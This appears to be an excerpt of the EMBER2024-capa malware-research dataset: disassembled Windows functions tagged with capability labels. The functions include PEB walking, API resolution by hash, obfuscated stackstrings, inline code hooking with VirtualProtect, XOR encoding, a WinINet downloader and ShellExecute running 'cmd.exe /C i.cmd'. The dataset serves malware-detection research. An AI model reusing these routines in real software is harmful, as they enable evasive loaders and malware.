joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002580
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x22c
mov eax, dword [0x1001e00c]
xor eax, esp
mov dword [esp + 0x228], eax
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [esp + 0x20]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
xor eax, eax
mov dword [esp + 0x20], 0
mov word [esp + 0x10], ax
lea eax, [esp + 0x28]
mov dword [esp + 0x24], 7
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100025d7
sub eax, edx
lea ecx, [esp + 0x10]
sar eax, 1
push eax
lea eax, [esp + 0x2c]
push eax
call fcn.100031e0
cmp dword [esp + 0x24], 8
lea edx, [esp + 0x10]
push ebx
cmovae edx, dword [esp + 0x14]
mov ecx, esi
push edi
call fcn.100017b0
mov edx, dword [esp + 0x2c]
add esp, 8
cmp edx, 8
jb 0x10002647
mov ecx, dword [esp + 0x10]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1000263d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000265e
push edx
push ecx
call fcn.1000426f
add esp, 8
mov ecx, dword [esp + 0x234]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10003c5b
mov esp, ebp
pop ebp
ret 0xc
call fcn.10007f66
int3

Function at 0x10002970
Capabilities:
Check if file exists
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1001e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
call sym.FuncHelper.dll_IsOSWin7
test al, al
je 0x100029aa
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push ecx
mov edx, esi
mov ecx, 0x150b
call fcn.10001d50
add esp, 4
jmp 0x10002a32
push ebx
push 0
mov byte [ebp - 9], 0
call dword [sym.imp.ole32.dll_CoInitialize]
movzx ebx, byte [ebp - 9]
test eax, eax
mov ecx, 1
cmovns ebx, ecx
test esi, esi
je 0x10002a27
push edi
push esi
call dword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov edi, eax
test edi, edi
je 0x10002a26
lea eax, [ebp - 8]
push eax
push 0x1001bac0
push 0x17
push 0
push 0x1001bad0
call dword [sym.imp.ole32.dll_CoCreateInstance]
push edi
test eax, eax
js 0x10002a20
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x24]
call eax
cmp eax, 1
je 0x10002a14
mov eax, dword [ebp - 8]
push 4
push 0
push edi
mov ecx, dword [eax]
push eax
mov eax, dword [ecx + 0x40]
call eax
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 8]
call eax
push edi
call dword [sym.imp.SHELL32.dll_ILFree]
pop edi
test bl, bl
pop ebx
je 0x10002a32
call dword [sym.imp.ole32.dll_CoUninitialize]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x10002a55
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x10002a55
push str.Delete_shortcut_File_faild_
call fcn.100010d0
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10003c5b
mov esp, ebp
pop ebp
ret 4
Function at 0x401460
Capabilities:
Create process on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x24
call fcn.004019c0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str._C_i.cmd
mov dword [esp + 8], str.cmd.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteW
sub esp, 0x18
nop
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x401ad0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407044
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x40703c]
sub esp, 4
test ebx, ebx
je 0x401b1b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x401b14
test esi, esi
je 0x401b14
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401af0
mov dword [esp], 0x407044
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401d00
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x401d50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x401e28
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x401d8e
cmp eax, 4
jne 0x401db0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x401d9e
cmp edx, 4
je 0x401d9e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401d00
Function at 0x10001261
Capabilities:
Get http content length

Disassembly:
push ebp
xchg ebx, ebx
mov ebp, esp
push ecx
push ecx
mov dh, dh
and dword ds:[ebp - 4], 0
lea edx, [edx]
push 0
mov edx, edx
lea eax, cs:[ebp - 8]
push eax
lea eax, cs:[ebp - 4]
push eax
lea esi, [esi]
push 0x20000005
mov esi, esi
push dword [ebp + 8]
xchg edx, edx
mov dword ds:[ebp - 8], 4
lea esp, [esp]
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
mov ecx, dword [ebp + 0xc]
mov si, si
mov edx, dword cs:[ebp - 4]
mov dword [ecx], edx
xchg ah, ah
mov ecx, dword [ebp + 0x10]
mov esi, esi
mov edx, dword cs:[ebp - 8]
mov dword [ecx], edx
leave
ret

Function at 0x100016fa
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov cx, cx
mov ebp, esp
xchg edi, edi
sub esp, 0x1c
push 0x100030b0
mov byte ds:[ebp - 0x1c], 0x49
mov byte ds:[ebp - 0x1b], 0x6e
mov byte [ebp - 0x1a], 0x74
xchg esi, esi
mov byte ds:[ebp - 0x19], 0x65
mov byte ds:[ebp - 0x18], 0x72
mov byte ds:[ebp - 0x17], 0x6e
xchg edi, edi
mov byte [ebp - 0x16], 0x65
lea ebp, [ebp]
mov byte [ebp - 0x15], 0x74
mov byte [ebp - 0x14], 0x47
mov edx, edx
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x74
mov byte ds:[ebp - 0x11], 0x43
xchg edx, edx
mov byte ds:[ebp - 0x10], 0x6f
xchg ebx, ebx
mov byte ds:[ebp - 0xf], 0x6e
mov byte ds:[ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x65
xchg ch, ch
mov byte ds:[ebp - 0xc], 0x63
xchg bh, bh
mov byte [ebp - 0xb], 0x74
mov byte ds:[ebp - 0xa], 0x65
mov ch, ch
mov byte ds:[ebp - 9], 0x64
mov byte [ebp - 8], 0x5a
mov byte [ebp - 7], 0x74
mov byte [ebp - 6], 0x61
mov byte ds:[ebp - 5], 0x74
mov eax, eax
mov byte [ebp - 4], 0x65
mov al, al
mov byte [ebp - 3], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x100017f7
xchg al, al
xor eax, eax
leave
mov edi, edi
ret
lea ecx, [ebp - 0x1c]
push ecx
xchg sp, sp
push eax
mov byte [ebp - 8], 0x53
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
lea ecx, [ecx]
mov byte ds:[ebp - 8], 0x5a
je 0x100017f1
mov dx, dx
push 0
push dword [ebp + 8]
xchg al, al
call eax
leave
ret

Function at 0x100019bb
Capabilities:
Encode data using xor

Disassembly:
xor ecx, ecx
mov esi, esi
cmp dword [esp + 8], ecx
mov bp, bp
jbe 0x100019ee
mov eax, dword [esp + 4]
mov bp, bp
add eax, ecx
xor byte ss:[eax], 4
xchg bh, bh
inc ecx
cmp ecx, dword [esp + 8]
jb 0x100019cf
mov esp, esp
ret
Function at 0x10001c30
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
mov cl, cl
sub esp, 0xc
push esi
push edi
xchg bx, bx
lea eax, cs:[ebp - 0xc]
xchg dl, dl
push eax
push 1
mov ch, ch
xor edi, edi
push edi
xchg ah, ah
mov byte ds:[ebp - 0xc], 0x4c
xchg bx, bx
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 9], 0x61
mov ax, ax
mov byte ds:[ebp - 8], 0x6c
mov byte [ebp - 7], 0x5c
mov byte ds:[ebp - 6], 0x55
mov byte ds:[ebp - 5], 0x49
mov byte [ebp - 4], 0x45
mov byte ds:[ebp - 3], 0x49
mov byte [ebp - 2], 0
lea edx, [edx]
mov byte ds:[ebp - 0xa], 0x63
xchg ebp, ebp
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call fcn.100016a6
mov eax, eax
cmp esi, 0xb7
jne 0x10001cc9
mov ax, ax
inc edi
mov eax, edi
xchg cl, cl
pop edi
mov dh, dh
pop esi
leave
ret
Function at 0x10002281
Capabilities:
Connect to http server
Read data from internet
Receive data

Disassembly:
push ebp
lea eax, [eax]
mov ebp, esp
xchg ch, ch
sub esp, 0x18
xchg bp, bp
push ebx
xor ebx, ebx
xchg al, al
lea eax, cs:[ebp - 0x10]
push esi
mov ch, ch
push eax
mov dword ds:[ebp - 0x10], ebx
mov dword [ebp - 8], ebx
lea eax, [eax]
mov dword [ebp - 0x14], 4
mov ecx, ecx
mov dword ds:[ebp - 0xc], ebx
mov di, di
call fcn.10001356
mov esi, eax
cmp esi, ebx
pop ecx
lea eax, [eax]
mov dword ds:[ebp - 4], esi
xchg si, si
jne 0x100022ef
xor eax, eax
xchg edx, edx
jmp 0x100024b9
push edi
push ebx
lea esi, [esi]
push ebx
push 3
push ebx
xchg di, di
push ebx
xchg edi, edi
push 0x50
push dword [ebp + 8]
push esi
lea ebp, [ebp]
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
cmp edi, ebx
mov dh, dh
mov dword [ebp - 0x10], edi
mov edi, edi
jne 0x10002337
push esi
mov ecx, ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x100024b4
call fcn.10001e0c
mov dx, dx
push ebx
nop
push 0x84000300
push ebx
lea esi, [esi]
push ebx
push str.v_NN
push eax
mov sp, sp
push ebx
xchg bl, bl
push edi
mov edx, edx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
cmp esi, ebx
jne 0x10002376
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
jmp 0x100024a7
push esi
mov ah, ah
push dword ds:[ebp + 0xc]
mov ah, ah
call fcn.10001069
mov sp, sp
test eax, eax
pop ecx
pop ecx
xchg bx, bx
jne 0x100023ab
mov edi, edi
push esi
mov ax, ax
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
xchg bp, bp
push edi
jmp 0x100024a7
lea eax, ds:[ebp - 0x18]
push eax
nop
lea eax, ds:[ebp - 0x14]
push eax
push esi
call fcn.100011e6
xchg bh, bh
add esp, 0xc
cmp dword [ebp - 0x14], 0xc8
jne 0x10002396
lea eax, cs:[ebp - 0x18]
push eax
lea eax, ds:[ebp - 8]
push eax
push esi
call fcn.10001261
add esp, 0xc
push dword ds:[ebp - 8]
xchg bp, bp
push pe_nt_image_headers32
xchg al, al
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
mov ax, ax
cmp edi, ebx
je 0x10002498
lea eax, cs:[ebp - 0xc]
push eax
push dword ds:[ebp - 8]
nop
push edi
xchg di, di
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x10002498
mov eax, dword cs:[ebp - 0xc]
cmp eax, dword [ebp - 8]
jne 0x10002498
lea esp, [esp]
mov byte [eax + edi - 1], bl
mov edi, edi
mov eax, dword [ebp + 0x10]
xchg cl, cl
cmp eax, ebx
mov edx, edx
je 0x10002476
mov ax, ax
mov ecx, dword cs:[ebp - 0xc]
xchg ebx, ebx
dec ecx
mov ecx, ecx
mov dword ss:[eax], ecx
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x10]
call esi
push dword ds:[ebp - 4]
call esi
lea ecx, [ecx]
mov eax, edi
jmp 0x100024b6
push esi
xchg esp, esp
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword ds:[ebp - 0x10]
call esi
push dword [ebp - 4]
xchg dx, dx
call esi
xor eax, eax
pop edi
xchg ebp, ebp
pop esi
mov al, al
pop ebx
xchg esi, esi
leave
xchg esp, esp
ret

Function at 0x10002672
Capabilities:
Create thread

Disassembly:
xor eax, eax
nop
push eax
mov dl, dl
push eax
push eax
push 0x10002664
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x1000270e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov al, al
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
mov ax, ax
xor eax, eax
lea edi, cs:[ebp - 7]
lea edx, [edx]
stosd dword es:[edi], eax
mov eax, dword cs:[ebp + 0xc]
xchg dx, dx
mov edi, dword [ebp + 8]
sub eax, edi
xchg al, al
sub eax, 5
mov bp, bp
mov dword [ebp - 7], eax
lea eax, cs:[ebp + 0xc]
push eax
push pe_nt_image_headers32
push 0x20
push edi
mov byte ds:[ebp - 8], 0xe9
call esi
test eax, eax
xchg si, si
je 0x100027cc
and dword [ebp + 0xc], 0
mov eax, dword ds:[ebp + 0xc]
xchg ecx, ecx
mov cl, byte cs:[eax + ebp - 8]
mov ecx, ecx
mov byte [eax + edi], cl
inc dword ds:[ebp + 0xc]
mov cx, cx
cmp dword [ebp + 0xc], 5
mov esp, esp
jb 0x10002778
lea eax, ds:[ebp + 0xc]
xchg cl, cl
push eax
mov bx, bx
push 0x20
nop
push 0x20
mov dl, dl
push edi
call esi
xor eax, eax
xchg ch, ch
inc eax
lea ebx, [ebx]
pop edi
xchg dl, dl
pop esi
mov al, al
leave
ret

Function at 0x4104ab
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041032a

Function at 0x415bb7
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00415877
Function at 0xd68baa
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0xd68886
add edi, 0x2beecce1
mov edx, edx
sub edi, 0xd5a07384
call fcn.00d68c04
add edx, edx
sub edx, edi
add edx, 1
xor dword [eax], esi
sub esp, 4
mov dword [esp], 0x18f353eb
mov edx, dword [esp]
add esp, 4
mov edx, 0xce81c63
add eax, 2
inc edi
mov edi, edx
add edx, edx
cmp eax, ecx
jl fcn.00d68baa
add edi, 1
ret
Function at 0x402483
Capabilities:
Get common file path
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
lea eax, [ebp - 8]
push eax
push 0
push 0
push dword [ebp + 8]
push 0
xor eax, eax
call dword [sym.imp.SHELL32.dll_SHGetFolderLocation]
nop
nop
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4024ed
cmp dword [ebp - 8], 0
je 0x4024ed
mov eax, 1
jmp 0x4024f2
mov eax, 0
test eax, eax
je 0x4025d4
mov dword [ebp - 0xc], 0x2b4
push dword [ebp - 0xc]
push 0x40
xor eax, eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
nop
nop
mov dword [ebp - 0x10], eax
push 0
xor eax, eax
call dword [sym.imp.ole32.dll_CoInitialize]
nop
nop
push 0x80000301
push 0
push 8
push 0x80000301
push 0
push 0x200
push 2
mov ebx, 0xc8
call fcn.00410420
add esp, 0x1c
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push 0
push dword [ebp - 8]
xor eax, eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
nop
nop
mov dword [ebp - 4], eax
xor eax, eax
call dword [sym.imp.ole32.dll_CoUninitialize]
nop
nop
cmp dword [ebp - 4], 0
je 0x4025ba
fild dword [ebp - 0x10]
fstp qword [ebp - 0x1c]
fld qword [ebp - 0x1c]
fadd qword [0x44e463]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
call fcn.004010cb
push eax
call fcn.0040260b
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x4025b6
push ebx
call fcn.0040f491
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
push dword [ebp - 0x10]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
nop
nop
push dword [ebp - 8]
xor eax, eax
call dword [sym.imp.SHELL32.dll_ILFree]
nop
nop
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x4025ee
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0040f48b
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x4025f3
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x402604
push ebx
call fcn.0040f491
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x4041fb
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov edi, dword [ebp + 8]
mov edi, dword [edi]
push edi
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
pop edi
mov esi, ecx
not esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0xc]
lea eax, [eax + 0x10]
push dword [eax]
xor eax, eax
push edx
mov ecx, dword [edx + 0x30]
movzx ebx, byte [eax + edi]
movzx edx, byte [ecx + eax*2]
sub ebx, edx
cmp ebx, 0
je 0x404242
cmp ebx, 0x20
je 0x404242
cmp ebx, 0xffffffe0
je 0x404242
jne 0x40424b
add eax, 1
cmp esi, eax
je 0x404258
jne 0x404227
pop edx
mov edx, dword [edx]
xor eax, eax
pop ebx
cmp ebx, edx
push ebx
je 0x40425c
jne 0x404223
pop edx
mov eax, dword [edx + 0x18]
leave
ret 4

Function at 0x404270
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
sub esp, 0x10
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x24]
mov ecx, dword [edx]
test eax, eax
je 0x404331
test ecx, ecx
je 0x404331
mov ebx, dword [eax + 0x3c]
mov edx, dword [ebx + eax + 0x78]
mov ebx, dword [ebx + eax + 0x7c]
test edx, edx
je 0x404331
test ebx, ebx
je 0x404331
mov ebx, eax
add ebx, edx
je 0x404331
mov esi, dword [edx + eax + 0x18]
test esi, esi
je 0x404331
cmp dword [edx + eax + 0x14], 0
je 0x404331
mov edi, dword [edx + eax + 0x20]
mov ebx, dword [edx + eax + 0x24]
add edi, eax
mov edx, dword [edx + eax + 0x1c]
add ebx, eax
add edx, eax
test esi, esi
jbe 0x404331
mov dword [esp], edx
xor ebp, ebp
mov dword [esp + 0xc], edi
mov dword [esp + 4], esi
mov dword [esp + 8], ecx
mov eax, dword [esp + 0xc]
mov edi, dword [esp + 8]
movzx ecx, word [ebx + ebp*2]
mov esi, dword [eax + ebp*4]
add esi, dword [esp + 0x24]
mov dl, byte [edi]
cmp dl, byte [esi]
jne 0x404321
test dl, dl
je 0x40431d
mov dl, byte [edi + 1]
cmp dl, byte [esi + 1]
jne 0x404321
add edi, 2
add esi, 2
test dl, dl
jne 0x404301
xor eax, eax
jmp 0x404326
sbb eax, eax
or eax, 1
test eax, eax
je 0x40433d
inc ebp
cmp ebp, dword [esp + 4]
jb 0x4042ee
xor eax, eax
add esp, 0x10
pop ebx
pop edi
pop esi
pop ebp
ret 8
mov edx, dword [esp]
mov edx, dword [edx + ecx*4]
mov eax, dword [esp + 0x24]
add eax, edx
add esp, 0x10
pop ebx
pop edi
pop esi
pop ebp
ret 8
Function at 0x40514d
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x40517b
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x405172
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x40516a
mov eax, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x40519c
mov esp, ebp
pop ebp
ret

Function at 0x4051a0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0x10]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x40520c
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x405239
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x405228
xor ecx, eax
xor edx, ebx
dec edi
jne 0x405219
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x40525f
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x405200
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
pop ecx
pop edx
pop edi
pop ebx
pop esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x40528b
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4058ac
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
sub esp, 0x10
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x24]
mov ecx, dword [edx]
test eax, eax
je 0x40596d
test ecx, ecx
je 0x40596d
mov ebx, dword [eax + 0x3c]
mov edx, dword [ebx + eax + 0x78]
mov ebx, dword [ebx + eax + 0x7c]
test edx, edx
je 0x40596d
test ebx, ebx
je 0x40596d
mov ebx, eax
add ebx, edx
je 0x40596d
mov esi, dword [edx + eax + 0x18]
test esi, esi
je 0x40596d
cmp dword [edx + eax + 0x14], 0
je 0x40596d
mov edi, dword [edx + eax + 0x20]
mov ebx, dword [edx + eax + 0x24]
add edi, eax
mov edx, dword [edx + eax + 0x1c]
add ebx, eax
add edx, eax
test esi, esi
jbe 0x40596d
mov dword [esp], edx
xor ebp, ebp
mov dword [esp + 0xc], edi
mov dword [esp + 4], esi
mov dword [esp + 8], ecx
mov eax, dword [esp + 0xc]
mov edi, dword [esp + 8]
movzx ecx, word [ebx + ebp*2]
mov esi, dword [eax + ebp*4]
add esi, dword [esp + 0x24]
mov dl, byte [edi]
cmp dl, byte [esi]
jne 0x40595d
test dl, dl
je 0x405959
mov dl, byte [edi + 1]
cmp dl, byte [esi + 1]
jne 0x40595d
add edi, 2
add esi, 2
test dl, dl
jne 0x40593d
xor eax, eax
jmp 0x405962
sbb eax, eax
or eax, 1
test eax, eax
je 0x405979
inc ebp
cmp ebp, dword [esp + 4]
jb 0x40592a
xor eax, eax
add esp, 0x10
pop ebx
pop edi
pop esi
pop ebp
ret 8
mov edx, dword [esp]
mov edx, dword [edx + ecx*4]
mov eax, dword [esp + 0x24]
add eax, edx
add esp, 0x10
pop ebx
pop edi
pop esi
pop ebp
ret 8